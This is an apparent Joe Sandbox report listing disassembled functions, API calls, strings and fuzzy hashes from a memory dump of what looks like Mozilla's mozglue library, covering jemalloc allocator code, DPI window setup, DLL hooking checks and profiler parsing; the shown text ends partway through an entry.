Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction ID: 88323adfe735787603888024a929bbd32d38c400ccc241e9f8c4747c956297d6
Opcode Fuzzy Hash: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction Fuzzy Hash: F0539D71A05B018FD304CF29C540616FBE5BF8A728F2DC6ADE8699BB91D771E841CB81

Function 6C9B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C98E1A5), ref: 6C9B5606
LoadLibraryW.KERNEL32(gdi32,?,6C98E1A5), ref: 6C9B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9B57FF

Strings

DeleteObject, xrefs: 6C9B57F9
EnableNonClientDpiScaling, xrefs: 6C9B5666
SetWindowLongPtrW, xrefs: 6C9B57B7
MonitorFromWindow, xrefs: 6C9B578D
ShowWindow, xrefs: 6C9B56DE
user32, xrefs: 6C9B5601
CreateWindowExW, xrefs: 6C9B56C5
ReleaseDC, xrefs: 6C9B5742
SetWindowPos, xrefs: 6C9B56F7
LoadIconW, xrefs: 6C9B575B
GetWindowDC, xrefs: 6C9B5710
LoadCursorW, xrefs: 6C9B5774
CreateSolidBrush, xrefs: 6C9B57E4
GetMonitorInfoW, xrefs: 6C9B57A2
gdi32, xrefs: 6C9B560A
GetSystemMetricsForDpi, xrefs: 6C9B5677
GetThreadDpiAwarenessContext, xrefs: 6C9B562D
AreDpiAwarenessContextsEqual, xrefs: 6C9B5637
RegisterClassW, xrefs: 6C9B56AC
StretchDIBits, xrefs: 6C9B57CC
FillRect, xrefs: 6C9B5729
GetDpiForWindow, xrefs: 6C9B5690

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction ID: 41747918415cd83854961cde67794af9457b0b5d570bd113f65776845f780560
Opcode Fuzzy Hash: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction Fuzzy Hash: B7513271719F03ABDB019F358D44A273ABCAB4B6897318965A911F3A51EFB0E840CF71

Function 6C9B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EE2

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9B61DD
Part of subcall function 6C9B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4157

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9B6250
Part of subcall function 6C9B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4896
free.MOZGLUE ref: 6C9B489F

Strings

, xrefs: 6C9B4CD2

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction ID: 2024a2ce44dd57baca4eb525791026bf68a6069d6195df2565f20f8c78d6c700
Opcode Fuzzy Hash: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction Fuzzy Hash: A8F23D74908B808FC725CF28C08469AFBF1FF99348F158A5ED999A7711DB31E496CB42

Function 6C9664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C966505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C966518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C96671C
GetCurrentProcess.KERNEL32 ref: 6C966724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C96672F
GetCurrentProcess.KERNEL32 ref: 6C966759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C966764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C966A80
GetSystemInfo.KERNEL32(?), ref: 6C966ABE
__Init_thread_footer.LIBCMT ref: 6C966AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AF7

Strings

user32.dll, xrefs: 6C966526
detoured.dll, xrefs: 6C9664DA
_etoured.dll, xrefs: 6C9664ED
nvd3d9wrap.dll, xrefs: 6C966500
nvdxgiwrap.dll, xrefs: 6C966513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C966798

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction ID: f3bee4324432d92c21bcd1d3f6c1d1ac9eb2539a26f6e5108cf66aa5291763c1
Opcode Fuzzy Hash: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction Fuzzy Hash: 74F1D3709056199FEF20CF26CD48B9AB7B9AF46318F1442D9D809E3B81D731EA84CF91

Function 6C9860A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9860C9
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C98610D
EnterCriticalSection.KERNEL32(?), ref: 6C98618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9861F9

Strings

<jemalloc>, xrefs: 6C986AA9, 6C986B59
MALLOC_OPTIONS, xrefs: 6C986888
Compile-time page size does not divide the runtime one., xrefs: 6C986AAE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C986BC7, 6C986F97, 6C986FB2
MOZ_CRASH(), xrefs: 6C986AB8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C986B6A

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction ID: 5f412a5f79bb3721f2e4877629fc26ad606a218144d7b7f8dbb7b964545e3613
Opcode Fuzzy Hash: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction Fuzzy Hash: BEA2AD71A1AB018FD704CF28C540715BBE1BB86728F29CA6DE869DFB91C771E841CB81

Function 6C9BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE472

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: e1c3f81d231211ef9dee21fb1a5de1049b4568e871490516a1836c365754f4bf
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 82339D72E0021ADFCB04CFA8C8806AEBBB6FF49314F284269D955BB755D731E945CB90

Function 6C96FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

<jemalloc>, xrefs: 6C970D62, 6C970D76, 6C970DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4
: (malloc) Error in VirtualFree(), xrefs: 6C970D67, 6C970D7B, 6C970DAC

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction ID: 89b0767db9b6ade71c2dd4f675689d8a6305506a27724497a8988b0c8490be09
Opcode Fuzzy Hash: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction Fuzzy Hash: 07C2F271A06B418FD724CF28C490716BBE1BF86728F28C66DE4698B7D5D732E841CB91

Function 6C9BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0ED4

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction ID: a5d567ef99268a4b7d045aa9c7510be3e1a83ce64898b96b8b2d8d6408922307
Opcode Fuzzy Hash: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction Fuzzy Hash: 2A639D75E0025ACFCB04CFA8C8906ADFBB2FF89314F298269D855BB745D730A945CB91

Function 6C993E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C993E7D,?,?,?,6C993E7D,?,?), ref: 6C9B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C993F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C993F5C
VerSetConditionMask.NTDLL ref: 6C993F8D
VerSetConditionMask.NTDLL ref: 6C993F99
VerSetConditionMask.NTDLL ref: 6C993FA0
VerSetConditionMask.NTDLL ref: 6C993FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C993FB4

Strings

nvinit.dll, xrefs: 6C994479
nvd3d9wrap.dll, xrefs: 6C994466

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction ID: f37a4a6004366b2d173098e3670fc2ce9cfb69bed96d9c59383d1ec0d5faff55
Opcode Fuzzy Hash: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction Fuzzy Hash: BB52F471610B849FE715DF34C890AABB7F9AF65204F14092DE4978BB82DB34F909CB60

Function 6C97ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C97EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C97EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C981695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C981770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C981A3E

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction ID: 4b12cf259d144afaaa2cd7cea373ec058412700b17f052388d39559a68429258
Opcode Fuzzy Hash: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction Fuzzy Hash: 38B31A71E0521ACFCB24CFA8C890AADB7B2BF49304F2585A9D459BB745D730AD85CF90

Function 6C96FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

MOZ_CRASH(), xrefs: 6C970CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4, 6C971A10

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction ID: 9e04d2b8b17a31effdaa4c5986ea67380293e502026a49a2b90f09ccd7402db7
Opcode Fuzzy Hash: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction Fuzzy Hash: AAB2CF716067418FD728CF28C590716BBE5BF86328F28C66CE86A8FB95D771E840CB51

Function 6C9A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C9A5AC3
expected a Time entry, xrefs: 6C9A5CB6
name, xrefs: 6C9A5E79, 6C9A5E8F
ProfileBuffer parse error: %s, xrefs: 6C9A5AC8, 6C9A5CBB
data, xrefs: 6C9A6131
schema, xrefs: 6C9A606D

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction ID: 1c234d7b220db69f3c01c844945cfec444ea8526abe87858f7bb1cec0a8cb3ad
Opcode Fuzzy Hash: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction Fuzzy Hash: 62927DB1A087418FD724CF68C49079ABBF1BFD9308F15891DE5999B751DB30E80ACB92

Function 6C9A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A36BF

Strings

set , xrefs: 6C9A36EC
get , xrefs: 6C9A3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9A378D

Memory Dump Source

